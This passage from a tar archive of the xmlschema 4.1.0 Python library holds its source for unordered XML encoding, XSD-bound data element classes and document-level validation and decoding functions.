result_dict)]) else: return result_dict if result_dict else None def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> ElementData: tag: str = xsd_element.name if not isinstance(obj, MutableMapping): if obj == '': obj = None if xsd_element.type.simple_type is not None: return ElementData(tag, obj, None, {}, None) else: return ElementData(tag, None, obj, {}, None) else: if not obj: return ElementData(tag, None, None, {}, None) elif self.preserve_root: try: items = obj[self.map_qname(tag)] except KeyError: return ElementData(tag, None, None, {}, None) else: items = obj try: content = [] for name, value in obj.items(): ns_name = self.unmap_qname(name) if not isinstance(value, MutableSequence) or not value: content.append((ns_name, value)) elif any(isinstance(v, MutableSequence) for v in value): for item in value: content.append((ns_name, item)) else: ns_name = self.unmap_qname(name) xsd_child = xsd_element.match_child(ns_name) if xsd_child is not None: if xsd_child.type and xsd_child.type.is_list(): content.append((ns_name, value)) else: content.extend((ns_name, item) for item in value) else: content.extend((ns_name, item) for item in value) except AttributeError: return ElementData(tag, items, None, {}, None) else: return ElementData(tag, None, content, {}, None) �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/converters/unordered.py���������������������������������������������������0000664�0000000�0000000�00000012370�15020401055�0022204�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2021, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from collections.abc import MutableMapping, MutableSequence from typing import TYPE_CHECKING, Any, Union from xmlschema.exceptions import XMLSchemaTypeError, XMLSchemaValueError from .base import ElementData, stackable, XMLSchemaConverter if TYPE_CHECKING: from xmlschema.validators import XsdElement class UnorderedConverter(XMLSchemaConverter): """ Same as :class:`XMLSchemaConverter` but :meth:`XMLSchemaConverter.element_encode` returns a dictionary for the content of the element, that can be used directly for unordered encoding mode. In this mode the order of the elements in the encoded output is based on the model visitor pattern rather than the order in which the elements were added to the input dictionary. As the order of the input dictionary is not preserved, character data between sibling elements are interleaved between tags. """ __slots__ = () @stackable def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> ElementData: """ Extracts XML decoded data from a data structure for encoding into an ElementTree. :param obj: the decoded object. :param xsd_element: the `XsdElement` associated to the decoded data structure. :param level: the level related to the encoding process (0 means the root). :return: an ElementData instance. """ if level or not self.preserve_root: element_name = None elif not isinstance(obj, MutableMapping): raise XMLSchemaTypeError(f"A dictionary expected, got {type(obj)} instead.") elif len(obj) != 1: raise XMLSchemaValueError("The dictionary must have exactly one element.") else: element_name, obj = next(iter(obj.items())) if not isinstance(obj, MutableMapping): if xsd_element.type.simple_type is not None: return ElementData(xsd_element.name, obj, None, {}, None) elif xsd_element.type.mixed and isinstance(obj, (str, bytes)): return ElementData(xsd_element.name, None, [(1, obj)], {}, None) else: return ElementData(xsd_element.name, None, obj, {}, None) text = None attributes = {} # The unordered encoding mode assumes that the values of this dict will # all be lists where each item is the content of a single element. When # building content_lu, content which is not a list or lists to be placed # into a single element (element has a list content type) must be wrapped # in a list to retain that structure. Character data are not wrapped into # lists because they are divided from the rest of the content into the # unordered mode generator function of the ModelVisitor class. content_lu: dict[Union[int, str], Any] = {} xmlns = self.set_context(obj, level) if element_name is None: tag = xsd_element.name else: tag = self.unmap_qname(element_name) if not xsd_element.is_matching(tag, self.default_namespace): raise XMLSchemaValueError("data tag does not match XSD element name") for name, value in obj.items(): if name == self.text_key: text = value elif self.cdata_prefix is not None and \ name.startswith(self.cdata_prefix) and \ (index := name[len(self.cdata_prefix):]).isdigit(): content_lu[int(index)] = value elif self.is_xmlns(name): continue elif self.attr_prefix and \ name.startswith(self.attr_prefix) and \ (attr_name := name[len(self.attr_prefix):]): ns_name = self.unmap_qname(attr_name, xsd_element.attributes) attributes[ns_name] = value elif not isinstance(value, MutableSequence) or not value: ns_name = self.unmap_qname(name, xmlns=self.get_xmlns_from_data(value)) content_lu[ns_name] = [value] elif isinstance(value[0], (MutableMapping, MutableSequence)): ns_name = self.unmap_qname(name, xmlns=self.get_xmlns_from_data(value[0])) content_lu[ns_name] = value else: # `value` is a list but not a list of lists or list of dicts. ns_name = self.unmap_qname(name) xsd_child = xsd_element.match_child(ns_name) if xsd_child is not None: if xsd_child.type and xsd_child.type.is_list(): content_lu[ns_name] = [value] else: content_lu[ns_name] = value elif self.attr_prefix == '' and ns_name in xsd_element.attributes: attributes[ns_name] = value else: content_lu[ns_name] = value return ElementData(tag, text, content_lu, attributes, xmlns) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/dataobjects.py������������������������������������������������������������0000664�0000000�0000000�00000060324�15020401055�0020310�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2021, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from abc import ABCMeta from copy import copy from itertools import count from collections.abc import Iterator, MutableMapping, MutableSequence from typing import TYPE_CHECKING, cast, overload, Any, Optional, Union, Type from elementpath import XPathContext, XPath2Parser, build_node_tree from elementpath.etree import etree_tostring from xmlschema.exceptions import XMLSchemaAttributeError, XMLSchemaTypeError, \ XMLSchemaValueError from xmlschema.aliases import ElementType, XMLSourceType, NsmapType, BaseXsdType, DecodeType from xmlschema.converters import ElementData, XMLSchemaConverter from xmlschema.resources import XMLResource from xmlschema.utils.qnames import get_namespace, get_prefixed_qname, \ local_name, update_namespaces, get_namespace_map from xmlschema.utils.decoding import raw_encode_value from xmlschema import validators if TYPE_CHECKING: from .validators import XMLSchemaValidationError, XsdElement class DataElement(MutableSequence['DataElement']): """ Data Element, an Element like object with decoded data and schema bindings. :param tag: a string containing a QName in extended format. :param value: the simple typed value of the element. :param attrib: the typed attributes of the element. :param nsmap: an optional map from prefixes to namespaces. :param xsd_element: an optional XSD element association. :param xsd_type: an optional XSD type association. Can be provided \ also if the instance is not bound with an XSD element. """ _children: list['DataElement'] tag: str attrib: dict[str, Any] nsmap: dict[str, str] value: Optional[Any] = None tail: Optional[str] = None xmlns: Optional[list[tuple[str, str]]] = None xsd_element: Optional['XsdElement'] = None xsd_type: Optional[BaseXsdType] = None _encoder: Optional['XsdElement'] = None def __init__(self, tag: str, value: Optional[Any] = None, attrib: Optional[dict[str, Any]] = None, nsmap: Optional[MutableMapping[str, str]] = None, xmlns: Optional[list[tuple[str, str]]] = None, xsd_element: Optional['XsdElement'] = None, xsd_type: Optional[BaseXsdType] = None) -> None: super().__init__() self._children = [] self.tag = tag self.attrib = {} self.nsmap = {} if value is not None: self.value = value if attrib is not None: self.attrib.update(attrib) if nsmap is not None: self.nsmap.update(nsmap) if xmlns is not None: self.xmlns = xmlns if xsd_element is not None: self.xsd_element = xsd_element self.xsd_type = xsd_type or xsd_element.type elif xsd_type is not None: self.xsd_type = xsd_type elif self.xsd_element is not None: self._encoder = self.xsd_element @overload def __getitem__(self, i: int) -> 'DataElement': ... # pragma: no cover @overload def __getitem__(self, s: slice) -> MutableSequence['DataElement']: ... # pragma: no cover def __getitem__(self, i: Union[int, slice]) \ -> Union['DataElement', MutableSequence['DataElement']]: return self._children[i] def __setitem__(self, i: Union[int, slice], child: Any) -> None: self._children[i] = child def __delitem__(self, i: Union[int, slice]) -> None: del self._children[i] def __len__(self) -> int: return len(self._children) def insert(self, i: int, child: 'DataElement') -> None: assert isinstance(child, DataElement) self._children.insert(i, child) def __repr__(self) -> str: return '%s(tag=%r)' % (self.__class__.__name__, self.tag) def __iter__(self) -> Iterator['DataElement']: yield from self._children def __setattr__(self, key: str, value: Any) -> None: if key == 'xsd_element': if not isinstance(value, validators.XsdElement): raise XMLSchemaTypeError("invalid type for attribute 'xsd_element'") elif self.xsd_element is value: pass elif self.xsd_element is not None: raise XMLSchemaValueError("the instance is already bound to another XSD element") elif self.xsd_type is not None and self.xsd_type is not value.type: raise XMLSchemaValueError("the instance is already bound to another XSD type") elif key == 'xsd_type': if not isinstance(value, (validators.XsdSimpleType, validators.XsdComplexType)): raise XMLSchemaTypeError("invalid type for attribute 'xsd_type'") elif self.xsd_type is not None and self.xsd_type is not value: raise XMLSchemaValueError("the instance is already bound to another XSD type") elif self.xsd_element is None or value is not self.xsd_element.type: self._encoder = value.schema.builders.create_element( self.tag, value.schema, parent=value, form='unqualified' ) self._encoder.type = value else: self._encoder = self.xsd_element super().__setattr__(key, value) @property def text(self) -> Optional[str]: """The string value of the data element.""" return raw_encode_value(self.value) def get(self, key: str, default: Any = None) -> Any: """Gets a data element attribute.""" try: return self.attrib[key] except KeyError: if not self.nsmap: return default # Try a match with mapped/unmapped name if key.startswith('{'): key = get_prefixed_qname(key, self.nsmap) return self.attrib.get(key, default) elif ':' in key: try: _prefix, _local_name = key.split(':') key = f'{{{self.nsmap[_prefix]}}}{_local_name}' except (ValueError, KeyError): pass else: return self.attrib.get(key, default) return default def set(self, key: str, value: Any) -> None: """Sets a data element attribute.""" self.attrib[key] = value @property def xsd_version(self) -> str: return '1.0' if self.xsd_element is None else self.xsd_element.xsd_version @property def namespace(self) -> str: """The element's namespace.""" if self.xsd_element is None: return get_namespace(self.tag) return get_namespace(self.tag) or self.xsd_element.target_namespace @property def name(self) -> str: """The element's name, that matches the tag.""" return self.tag @property def prefixed_name(self) -> str: """The prefixed name, or the tag if no prefix is defined for its namespace.""" return get_prefixed_qname(self.tag, self.nsmap) @property def display_name(self) -> str: """The prefixed name, or the tag if it's associated with the default namespace.""" prefixed_name = self.prefixed_name return self.name if ':' not in prefixed_name else prefixed_name @property def local_name(self) -> str: """The local part of the tag.""" return local_name(self.tag) def iter(self, tag: Optional[str] = None) -> Iterator['DataElement']: """ Creates an iterator for the data element and its subelements. If tag is not `None` or '*', only data elements whose matches tag are returned from the iterator. """ if tag == '*': tag = None if tag is None or tag == self.tag: yield self for child in self._children: yield from child.iter(tag) def iterchildren(self, tag: Optional[str] = None) -> Iterator['DataElement']: """ Creates an iterator for the child data elements. If *tag* is not `None` or '*', only data elements whose name matches tag are returned from the iterator. """ if tag == '*': tag = None for child in self: if tag is None or tag == child.tag: yield child def get_namespaces(self, namespaces: Optional[NsmapType] = None, root_only: bool = True) -> NsmapType: """ Returns an overall namespace map for DetaElement, resolving prefix redefinitions. :param namespaces: builds the namespace map starting over the dictionary provided. :param root_only: if `True` processes only the namespaces declared in the data \ element, otherwise precesses also other namespaces declared in its descendants. """ namespaces = copy(namespaces) if namespaces is not None else {} if root_only: update_namespaces(namespaces, self.nsmap.items(), root_declarations=True) else: nsmap = None for elem in self.iter(): if nsmap is not elem.nsmap: nsmap = elem.nsmap update_namespaces(namespaces, nsmap.items(), elem is self) return namespaces def validate(self, use_defaults: bool = True, namespaces: Optional[NsmapType] = None, max_depth: Optional[int] = None) -> None: """ Validates the XML data object. :param use_defaults: whether to use default values for filling missing data. :param namespaces: is an optional mapping from namespace prefix to URI. \ For default uses the namespace map of the XML data object. :param max_depth: maximum depth for validation, for default there is no limit. :raises: :exc:`XMLSchemaValidationError` if XML data object is not valid. :raises: :exc:`XMLSchemaValueError` if the instance has no schema bindings. """ for error in self.iter_errors(use_defaults, namespaces, max_depth): raise error def is_valid(self, use_defaults: bool = True, namespaces: Optional[NsmapType] = None, max_depth: Optional[int] = None) -> bool: """ Like :meth:`validate` except it does not raise an exception on validation error but returns ``True`` if the XML data object is valid, ``False`` if it's invalid. :raises: :exc:`XMLSchemaValueError` if the instance has no schema bindings. """ error = next(self.iter_errors(use_defaults, namespaces, max_depth), None) return error is None def iter_errors(self, use_defaults: bool = True, namespaces: Optional[NsmapType] = None, max_depth: Optional[int] = None) -> Iterator['XMLSchemaValidationError']: """ Generates a sequence of validation errors if the XML data object is invalid. Accepts the same arguments of :meth:`validate`. """ if self._encoder is None: raise XMLSchemaValueError("%r has no schema bindings" % self) kwargs: dict[str, Any] = { 'namespaces': self.get_namespaces(namespaces, root_only=False), 'converter': DataElementConverter, 'use_defaults': use_defaults, } if isinstance(max_depth, int) and max_depth >= 0: kwargs['max_depth'] = max_depth for result in self._encoder.iter_encode(self, **kwargs): if isinstance(result, validators.XMLSchemaValidationError): yield result else: del result def encode(self, validation: str = 'strict', **kwargs: Any) \ -> Union[ElementType, tuple[ElementType, list['XMLSchemaValidationError']]]: """ Encodes the data object to XML. :param validation: the validation mode. Can be 'lax', 'strict' or 'skip. :param kwargs: optional keyword arguments for the method :func:`iter_encode` \ of :class:`XsdElement`. :return: An ElementTree's Element. If *validation* argument is 'lax' a \ 2-items tuple is returned, where the first item is the encoded object and \ the second item is a list with validation errors. :raises: :exc:`XMLSchemaValidationError` if the object is invalid \ and ``validation='strict'``. """ kwargs['namespaces'] = self.get_namespaces(kwargs.get('namespaces'), False) if 'converter' not in kwargs: kwargs['converter'] = DataElementConverter encoder: Union['XsdElement', BaseXsdType] if self._encoder is not None: encoder = self._encoder elif validation == 'skip': encoder = validators.XMLSchema.builtin_types()['anyType'] else: raise XMLSchemaValueError("%r has no schema bindings" % self) return encoder.encode(self, validation=validation, **kwargs) to_etree = encode def tostring(self, namespaces: Optional[MutableMapping[str, str]] = None, indent: str = '', max_lines: Optional[int] = None, spaces_for_tab: int = 4, xml_declaration: bool = False, encoding: str = 'unicode', method: str = 'xml') -> str: """ Serializes the data element tree to an XML source string. :param namespaces: is an optional mapping from namespace prefix to URI. \ Provided namespaces are registered before serialization. Ignored if the \ provided *elem* argument is a lxml Element instance. :param indent: the baseline indentation. :param max_lines: if truncate serialization after a number of lines \ (default: do not truncate). :param spaces_for_tab: number of spaces for replacing tab characters. For \ default tabs are replaced with 4 spaces, provide `None` to keep tab characters. :param xml_declaration: if set to `True` inserts the XML declaration at the head. :param encoding: if "unicode" (the default) the output is a string, \ otherwise it’s binary. :param method: is either "xml" (the default), "html" or "text". :return: a Unicode string. """ root, _ = self.encode(validation='lax') if not hasattr(root, 'nsmap'): namespaces = self.get_namespaces(namespaces, root_only=False) _string = etree_tostring( elem=root, namespaces=namespaces, indent=indent, max_lines=max_lines, spaces_for_tab=spaces_for_tab, xml_declaration=xml_declaration, encoding=encoding, method=method ) if isinstance(_string, bytes): # pragma: no cover return _string.decode('utf-8') return _string def _get_xpath_context(self) -> XPathContext: xpath_root = build_node_tree(self) return XPathContext(xpath_root) def find(self, path: str, namespaces: Optional[NsmapType] = None) -> Optional['DataElement']: """ Finds the first data element matching the path. :param path: an XPath expression that considers the data element as the root. :param namespaces: an optional mapping from namespace prefix to namespace URI. :return: the first matching data element or ``None`` if there is no match. """ parser = XPath2Parser(namespaces, strict=False) context = self._get_xpath_context() result = next(parser.parse(path).select_results(context), None) return result if isinstance(result, DataElement) else None def findall(self, path: str, namespaces: Optional[NsmapType] = None) -> list['DataElement']: """ Finds all data elements matching the path. :param path: an XPath expression that considers the data element as the root. :param namespaces: an optional mapping from namespace prefix to full name. :return: a list containing all matching data elements in document order, \ an empty list is returned if there is no match. """ parser = XPath2Parser(namespaces, strict=False) context = self._get_xpath_context() results = parser.parse(path).get_results(context) if not isinstance(results, list): # pragma: no cover return [] return cast(list[DataElement], [e for e in results if isinstance(e, DataElement)]) def iterfind(self, path: str, namespaces: Optional[NsmapType] = None) -> Iterator['DataElement']: """ Creates and iterator for all XSD subelements matching the path. :param path: an XPath expression that considers the data element as the root. :param namespaces: is an optional mapping from namespace prefix to full name. :return: an iterable yielding all matching data elements in document order. """ parser = XPath2Parser(namespaces, strict=False) context = self._get_xpath_context() results = parser.parse(path).select_results(context) yield from filter(lambda x: isinstance(x, DataElement), results) class DataBindingMeta(ABCMeta): """Metaclass for creating classes with bindings to XSD elements.""" xsd_element: 'XsdElement' def __new__(mcs, name: str, bases: tuple[Type[Any], ...], attrs: dict[str, Any]) -> 'DataBindingMeta': try: xsd_element = attrs['xsd_element'] except KeyError: msg = "attribute 'xsd_element' is required for an XSD data binding class" raise XMLSchemaAttributeError(msg) from None if not isinstance(xsd_element, validators.XsdElement): raise XMLSchemaTypeError(f"{xsd_element!r} is not an XSD element") attrs['__module__'] = None return super().__new__(mcs, name, bases, attrs) def __init__(cls, name: str, bases: tuple[Type[Any], ...], attrs: dict[str, Any]) -> None: super().__init__(name, bases, attrs) cls.xsd_version = cls.xsd_element.xsd_version cls.namespace = cls.xsd_element.target_namespace def fromsource(cls, source: Union[XMLSourceType, XMLResource], allow: str = 'all', defuse: str = 'remote', timeout: int = 300, **kwargs: Any) -> DecodeType[Any]: if not isinstance(source, XMLResource): source = XMLResource(source, allow=allow, defuse=defuse, timeout=timeout) if 'converter' not in kwargs: kwargs['converter'] = DataBindingConverter return cls.xsd_element.schema.decode(source, **kwargs) class DataElementConverter(XMLSchemaConverter): """ XML Schema based converter class for DataElement objects. :param namespaces: a dictionary map from namespace prefixes to URI. :param data_element_class: MutableSequence subclass to use for decoded data. \ Default is `DataElement`. :param map_attribute_names: define if map the names of attributes to prefixed \ form. Defaults to `True`. If `False` the names are kept to extended format. """ __slots__ = 'data_element_class', 'map_attribute_names' def __init__(self, namespaces: Optional[NsmapType] = None, data_element_class: Optional[Type['DataElement']] = None, map_attribute_names: bool = True, **kwargs: Any) -> None: if data_element_class is None: self.data_element_class = DataElement else: self.data_element_class = data_element_class self.map_attribute_names = map_attribute_names kwargs.update(attr_prefix='', text_key='', cdata_prefix='') super().__init__(namespaces, **kwargs) @property def xmlns_processing_default(self) -> str: return 'stacked' def get_xmlns_from_data(self, obj: Any) -> Optional[list[tuple[str, str]]]: return obj.xmlns if isinstance(obj, DataElement) else None def get_namespaces(self, namespaces: Optional[NsmapType] = None, root_only: bool = True) -> NsmapType: if not isinstance(self.source, DataElement) or self._xmlns_getter is None: return super().get_namespaces(namespaces, root_only) namespaces = get_namespace_map(namespaces) for obj in self.source.iter(): xmlns = self.get_xmlns_from_data(obj) if xmlns: update_namespaces(namespaces, xmlns, obj is self.source) if root_only: break return namespaces @property def lossy(self) -> bool: return False @property def losslessly(self) -> bool: return True def copy(self, keep_namespaces: bool = True, **kwargs: Any) -> 'DataElementConverter': obj = cast(DataElementConverter, super().copy(keep_namespaces, **kwargs)) obj.data_element_class = kwargs.get('data_element_class', self.data_element_class) return obj def get_data_element(self, data: ElementData, xsd_element: 'XsdElement', xsd_type: Optional[BaseXsdType] = None, level: int = 0) -> DataElement: xmlns = self.get_effective_xmlns(data.xmlns, level, xsd_element) return self.data_element_class( tag=data.tag, value=data.text, nsmap=self._namespaces if self._use_namespaces else None, xmlns=xmlns, xsd_element=xsd_element, xsd_type=xsd_type ) def element_decode(self, data: ElementData, xsd_element: 'XsdElement', xsd_type: Optional[BaseXsdType] = None, level: int = 0) -> 'DataElement': data_element = self.get_data_element(data, xsd_element, xsd_type, level) if self.map_attribute_names: data_element.attrib.update(self.map_attributes(data.attributes)) elif data.attributes: data_element.attrib.update(data.attributes) if (xsd_type or xsd_element.type).model_group is not None: for name, value, _ in self.map_content(data.content): if not name.isdigit(): data_element.append(value) else: try: data_element[-1].tail = value except IndexError: data_element.value = value return data_element def element_encode(self, data_element: 'DataElement', xsd_element: 'XsdElement', level: int = 0) -> ElementData: xmlns = self.set_context(data_element, level) if not xsd_element.is_matching(data_element.tag): raise XMLSchemaValueError("Unmatched tag") attributes = {self.unmap_qname(k, xsd_element.attributes): v for k, v in data_element.attrib.items()} data_len = len(data_element) if not data_len: return ElementData(data_element.tag, data_element.value, None, attributes, xmlns) content: list[tuple[Union[str, int], Any]] = [] cdata_num = count(1) if data_element.value is not None: content.append((next(cdata_num), data_element.value)) for e in data_element: content.append((e.tag, e)) if e.tail is not None: content.append((next(cdata_num), e.tail)) return ElementData(data_element.tag, None, content, attributes, xmlns) class DataBindingConverter(DataElementConverter): """ A :class:`DataElementConverter` that uses XML data binding classes for decoding. Takes the same arguments of its parent class but the argument *data_element_class* is used for define the base for creating the missing XML binding classes. """ __slots__ = () def get_data_element(self, data: ElementData, xsd_element: 'XsdElement', xsd_type: Optional[BaseXsdType] = None, level: int = 0) -> DataElement: xmlns = self.get_effective_xmlns(data.xmlns, level, xsd_element) cls = xsd_element.get_binding(self.data_element_class) return cls( tag=data.tag, value=data.text, nsmap=self._namespaces if self._use_namespaces else None, xmlns=xmlns, xsd_type=xsd_type ) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/documents.py��������������������������������������������������������������0000664�0000000�0000000�00000076410�15020401055�0020031�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import json from io import IOBase, TextIOBase from collections.abc import Iterator from typing import Any, Optional, Type, Union, IO, BinaryIO, TextIO from xml.etree import ElementTree from xmlschema.exceptions import XMLSchemaTypeError, XMLSchemaValueError, XMLResourceError from xmlschema.names import XSD_NAMESPACE, XSI_TYPE, XSD_SCHEMA from xmlschema.aliases import ElementType, NsmapType, LocationsType, SchemaSourceType, \ DecodeType, EncodeType, JsonDecodeType, XMLSourceType from xmlschema.translation import gettext as _ from xmlschema.utils.etree import is_etree_document, etree_tostring from xmlschema.utils.qnames import get_extended_qname, update_namespaces, get_namespace_map from xmlschema.resources import fetch_schema_locations, XMLResource from xmlschema.converters import ConverterType from xmlschema.validators import check_validation_mode, XMLSchema10, XMLSchemaBase, \ XMLSchemaValidationError __all__ = ('from_json', 'is_valid', 'iter_errors', 'iter_decode', 'to_dict', 'to_etree', 'to_json', 'validate', 'XmlDocument') # Allowed keyword arguments for building schema and resource instances, if necessary. COMMON_KWARGS = frozenset( ('base_url', 'allow', 'defuse', 'timeout', 'uri_mapper', 'opener', 'iterparse') ) RESOURCE_KWARGS = COMMON_KWARGS.union(('lazy', 'thin_lazy', 'selector')) SCHEMA_KWARGS = COMMON_KWARGS.union( ('loader_class', 'use_fallback', 'use_xpath3', 'use_meta', 'loglevel') ) def get_context(xml_document: Union[XMLSourceType, XMLResource], schema: Optional[Union[XMLSchemaBase, SchemaSourceType]] = None, cls: Optional[Type[XMLSchemaBase]] = None, locations: Optional[LocationsType] = None, use_location_hints: bool = True, dummy_schema: bool = False, **kwargs: Any) -> tuple[XMLResource, XMLSchemaBase]: """ Get the XML document validation/decode context. :return: an XMLResource instance and a schema instance. """ resource: XMLResource if cls is None: cls = XMLSchema10 elif not issubclass(cls, XMLSchemaBase): raise XMLSchemaTypeError(_("invalid schema class {!r}").format(cls)) if isinstance(xml_document, XMLResource): resource = xml_document else: resource_kwargs = {k: v for k, v in kwargs.items() if k in RESOURCE_KWARGS} resource = XMLResource(xml_document, **resource_kwargs) if isinstance(schema, XMLSchemaBase) and resource.namespace in schema.maps.namespaces: return resource, schema if isinstance(resource, XmlDocument) and hasattr(resource, 'schema'): return resource, resource.schema if use_location_hints: try: schema_location, locations = fetch_schema_locations(resource, locations, **kwargs) except ValueError: pass else: schema_kwargs = {k: v for k, v in kwargs.items() if k in SCHEMA_KWARGS} schema_kwargs['locations'] = locations if schema is None or isinstance(schema, XMLSchemaBase): return resource, cls(schema_location, **schema_kwargs) else: return resource, cls(schema, **schema_kwargs) if isinstance(schema, XMLSchemaBase): return resource, schema # fallback to a schema for a different namespace elif schema is not None: schema_kwargs = {k: v for k, v in kwargs.items() if k in SCHEMA_KWARGS} return resource, cls(schema, locations=locations, **schema_kwargs) elif XSD_NAMESPACE == resource.namespace: assert cls.meta_schema is not None return resource, cls.meta_schema elif dummy_schema or XSI_TYPE in resource.root.attrib: return resource, get_dummy_schema(resource.root.tag, cls) else: msg = _("cannot get a schema for XML data, provide a schema argument") raise XMLSchemaValueError(msg) def get_dummy_schema(tag: str, cls: Type[XMLSchemaBase]) -> XMLSchemaBase: if tag.startswith('{'): namespace, name = tag[1:].split('}') else: namespace, name = '', tag if namespace: return cls( '<xs:schema xmlns:xs="{}" targetNamespace="{}">\n' ' <xs:element name="{}"/>\n' '</xs:schema>'.format(XSD_NAMESPACE, namespace, name) ) else: return cls( '<xs:schema xmlns:xs="{}">\n' ' <xs:element name="{}"/>\n' '</xs:schema>'.format(XSD_NAMESPACE, name) ) def get_lazy_json_encoder(errors: list[XMLSchemaValidationError]) -> Type[json.JSONEncoder]: class JSONLazyEncoder(json.JSONEncoder): def default(self, obj: Any) -> Any: if isinstance(obj, Iterator): for result in obj: if isinstance(result, XMLSchemaValidationError): errors.append(result) else: return result return None return json.JSONEncoder.default(self, obj) return JSONLazyEncoder def validate(xml_document: Union[XMLSourceType, XMLResource], schema: Optional[XMLSchemaBase] = None, cls: Optional[Type[XMLSchemaBase]] = None, path: Optional[str] = None, schema_path: Optional[str] = None, use_defaults: bool = True, namespaces: Optional[NsmapType] = None, locations: Optional[LocationsType] = None, use_location_hints: bool = True, **kwargs: Any) -> None: """ Validates an XML document against a schema instance. This function builds an :class:`XMLSchema` object for validating the XML document. Raises an :exc:`XMLSchemaValidationError` if the XML document is not validated against the schema. :param xml_document: can be an :class:`XMLResource` instance, a file-like object a path \ to a file or a URI of a resource or an Element instance or an ElementTree instance or \ a string containing the XML data. If the passed argument is not an :class:`XMLResource` \ instance a new one is built using this and *defuse*, *timeout* and *lazy* arguments. :param schema: can be a schema instance or a file-like object or a file path or a URL \ of a resource or a string containing the schema. :param cls: class to use for building the schema instance (for default \ :class:`XMLSchema10` is used). :param path: is an optional XPath expression that matches the elements of the XML \ data that have to be decoded. If not provided the XML root element is used. :param schema_path: an XPath expression to select the XSD element to use for decoding. \ If not provided the *path* argument or the *source* root tag are used. :param use_defaults: defines when to use element and attribute defaults for filling \ missing required values. :param namespaces: is an optional mapping from namespace prefix to URI. :param locations: additional schema location hints, used if a schema instance \ has to be built. :param use_location_hints: for default, in case a schema instance has \ to be built, uses also schema locations hints provided within XML data. \ set this option to `False` to ignore these schema location hints. :param kwargs: other optional arguments for building :class:`XMLResource` or \ :class:`XMLSchema` instances provided as keyword arguments. """ source, schema = get_context( xml_document, schema, cls, locations, use_location_hints, **kwargs ) schema.validate(source, path, schema_path, use_defaults, namespaces, use_location_hints=use_location_hints) def is_valid(xml_document: Union[XMLSourceType, XMLResource], schema: Optional[XMLSchemaBase] = None, cls: Optional[Type[XMLSchemaBase]] = None, path: Optional[str] = None, schema_path: Optional[str] = None, use_defaults: bool = True, namespaces: Optional[NsmapType] = None, locations: Optional[LocationsType] = None, use_location_hints: bool = True, **kwargs: Any) -> bool: """ Like :meth:`validate` except that do not raise an exception but returns ``True`` if the XML document is valid, ``False`` if it's invalid. """ source, schema = get_context( xml_document, schema, cls, locations, use_location_hints, **kwargs ) return schema.is_valid(source, path, schema_path, use_defaults, namespaces, use_location_hints=use_location_hints) def iter_errors(xml_document: Union[XMLSourceType, XMLResource], schema: Optional[XMLSchemaBase] = None, cls: Optional[Type[XMLSchemaBase]] = None, path: Optional[str] = None, schema_path: Optional[str] = None, use_defaults: bool = True, namespaces: Optional[NsmapType] = None, locations: Optional[LocationsType] = None, use_location_hints: bool = True, **kwargs: Any) -> Iterator[XMLSchemaValidationError]: """ Creates an iterator for the errors generated by the validation of an XML document. Takes the same arguments of the function :meth:`validate`. """ source, schema = get_context( xml_document, schema, cls, locations, use_location_hints, **kwargs ) return schema.iter_errors(source, path, schema_path, use_defaults, namespaces, use_location_hints=use_location_hints) def iter_decode(xml_document: Union[XMLSourceType, XMLResource], schema: Optional[XMLSchemaBase] = None, cls: Optional[Type[XMLSchemaBase]] = None, path: Optional[str] = None, validation: str = 'lax', locations: Optional[LocationsType] = None, use_location_hints: bool = True, **kwargs: Any) -> Iterator[Union[Any, XMLSchemaValidationError]]: """ Creates an iterator for decoding an XML source to a data structure. For default the document is validated during the decoding phase and if it's invalid then one or more :exc:`XMLSchemaValidationError` instances are yielded before the decoded data. :param xml_document: can be an :class:`XMLResource` instance, a file-like object a path \ to a file or a URI of a resource or an Element instance or an ElementTree instance or \ a string containing the XML data. If the passed argument is not an :class:`XMLResource` \ instance a new one is built using this and *defuse*, *timeout* and *lazy* arguments. :param schema: can be a schema instance or a file-like object or a file path or a URL \ of a resource or a string containing the schema. :param cls: class to use for building the schema instance (for default uses \ :class:`XMLSchema10`). :param path: is an optional XPath expression that matches the elements of the XML \ data that have to be decoded. If not provided the XML root element is used. :param validation: defines the XSD validation mode to use for decode, can be \ 'strict', 'lax' or 'skip'. :param locations: additional schema location hints, in case a schema instance \ has to be built. :param use_location_hints: for default, in case a schema instance has \ to be built, uses also schema locations hints provided within XML data. \ set this option to `False` to ignore these schema location hints. :param kwargs: other optional arguments of :meth:`XMLSchemaBase.iter_decode` \ or for building :class:`XMLResource` or :class:`XMLSchema` instances provided \ as keyword arguments. :raises: :exc:`XMLSchemaValidationError` if the XML document is invalid and \ ``validation='strict'`` is provided. """ source, _schema = get_context( xml_document, schema, cls, locations, use_location_hints, **kwargs ) yield from _schema.iter_decode(source, path=path, validation=validation, use_location_hints=use_location_hints, **kwargs) def to_dict(xml_document: Union[XMLSourceType, XMLResource], schema: Optional[XMLSchemaBase] = None, cls: Optional[Type[XMLSchemaBase]] = None, path: Optional[str] = None, validation: str = 'strict', locations: Optional[LocationsType] = None, use_location_hints: bool = True, **kwargs: Any) -> 